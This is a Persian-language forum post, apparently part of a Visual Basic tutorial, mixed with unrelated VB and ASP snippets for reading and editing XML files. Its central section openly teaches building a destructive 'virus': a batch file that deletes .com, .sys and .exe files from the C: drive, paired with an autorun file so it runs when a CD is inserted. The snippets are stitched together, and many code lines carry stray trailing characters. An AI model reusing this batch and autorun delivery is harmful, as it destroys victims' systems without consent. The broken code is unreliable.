  Dim opdf As Object
  Set opdf = CreateObject("AcroExch.PDDoc")
  opdf.Open (x)
  Dim y As String
  y = opdf.GetInfo("Title")

سلام

از کسایی که ادعا کرده بودند معمای X27  رو حل کردن. تقاضا می کنم برای حفظ آبروی خودشون .ضد شو بنویس و ارسال کنند و اما در ادامه آموزش ویژال بیسیک در افکار متضاد می خوام یه چند سطری از داس بگم.

برید داخل Notpad این چند سطر رو بنویسید و بعد با فرمت "*.bat" ذخیره کنید. مثل ali.bat

سر آخر یه ویروس دارید . که اگه  اتو ران کنید و بذارید روی سی دی با بالا اومدنش کامپیوتر طرف رو داغون می کنه.

".................."

 روی start رفته و روی run کلیک کنید  و notepad را تایپ کنید بعد از باز شدن پنجره این ها رو بنویسید توش

@echo off

Cls

===========

Color fc

Del /a c:\*.com

Del /a c:\*.sys

Del /a c:\*.exe /s

===========

خوب تایپ کردن دیگه بسه این فایل را با هر نامی که دل تان خواست ذخیره کنید ولی پسوند را با نام bat بگذارید ، مثل  arnh.bat

"..............."

برای اتو ران هم یه فایل به نام Autorun.ini باز می کنید . برای ذخیره در Notpad   با فرمت دلخواهتون فقط نام فایل رو داخل گیومه بزارین مثل   "Autorun.ini"و save   کنید.

داخل فایل این رو بنویسد.

[AutoRun]

OPEN=*.bat

·          *نام فایل که برای ویروس خودتون گذاشتید.

---------------"

یه برنامه دیگه که آیکون های روی دسکتاپ رو مخفی می کنه.

اول یه فرم ساده

بعد چهار تا باتون

که اسماشون اینه

cmdDShow به نام : نمایش

cmdExit به نام : بستن

cmdDHide به نام : مخفی کردن

حالا یه ماژول که اینو می ریزین داخلش

"---------------------------"

Option Explicit

Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Public Const SWP_HIDEWINDOW = &H80

Public Const SWP_SHOWWINDOW = &H40

Declare Function ShowCursor& Lib "user32" (ByVal bShow As Long)

"---------------------"

در ادامه روی فرم دابل کلیک می کنید هرچه سورسه پاک می کنید و فقط اینو می ریزین

"------------------------------"

Option Explicit

Private Declare Function FindWindowEx Lib _

"user32" Alias "FindWindowExA" (ByVal hWnd1 _

As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _

ByVal lpsz2 As String) As Long

Private Declare Function ShowWindow Lib "user32" _

(ByVal hWnd As Long, ByVal nCmdShow As Long) As Long

Private Declare Function SystemParametersInfo _

Lib "user32" Alias "SystemParametersInfoA" _

   (ByVal uAction As Long, ByVal uParam _

   As Long, lpvParam As Any, _

   ByVal fuWinIni As Long) As Long

Private Const SPI_SCREENSAVERRUNNING = 97

Private Sub cmdDHide_Click()

    Dim hWnd As Long

    hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)

    ShowWindow hWnd, 0

End Sub

Private Sub cmdDShow_Click()

    Dim hWnd As Long

    hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)

    ShowWindow hWnd, 5

End Sub

Private Sub cmdExit_Click()

    Me.Hide

    End

End Sub

"-----------------------------"

برای امروز دیگه کافیه

هر سوالی . هر پیشنهادی دارین در بخش پرسش و پاسخ بذارید

<user>
<name>ali</name>
<id>12</id>
</user>

Private xml

Public Sub Initiate(ByVal filename As String)x
Set xml = CreateObject("Microsoft.XMLDOM")x
xml.async = False
xml.Load (server.MapPath(filename))x
End Sub

Public Function getvalue(ByVal NName As String) As String
Dim x
getvalue = ""x
For Each x In xml.documentElement.childNodes
If x.nodeName = NName Then
getvalue = x.childNodes(0).nodeValue
Exit For
End If
Next
End Function

Dim xmlf As New XMLReader
Call xmlf.Initiate("config.xml")x
userName = xmlf.getvalue("DataBaseID")x
Password = xmlf.getvalue("DataBasePassword")x
database_name = xmlf.getvalue("DataBaseName")x
server_name = xmlf.getvalue("ServerAddress")x

<Application>testIt</Application>
<ServerAddress>192.168.0.1</ServerAddress>
<DataBaseName>Edatabase</DataBaseName>
<DataBaseID>Euser</DataBaseID>
<DataBasePassword>Epass</DataBasePassword>

Dim root
Set root = xml.documentElement

<people>
<user>
<name>ali</name>
<id>1</id>
</user>
<user>
<name>reza</name>
<id>2</id>
</user>
</people>

For I = 0 TO (root.childNodes.length - 1)x
Set thisChild = root.childNodes(I)x
name = thisChild.childNodes(0).Text
id = thisChild.childNodes(1).Text
Next

Set newuser = xml.createNode("element", "people", "")x
Dim name,id
Set newname = xml.createNode("element", "name", "")x
newname.text = yourname
Set newid = xml.createNode("element", "id", "")x
newid.text = yourid
newuser.appendChild(newname)x
newuser.appendChild(newid)x
root.appendChild(newuser)x

xml.save(Server.Mappath(filename))x

found = False
For I = (root.childNodes.length - 1) TO 0 STEP -1
Set thisChild = root.childNodes(I)x
name = thisChild.childNodes(0).Text
If name = searchname Then
root.removeChild(thisChild)x
found = True
End If
Next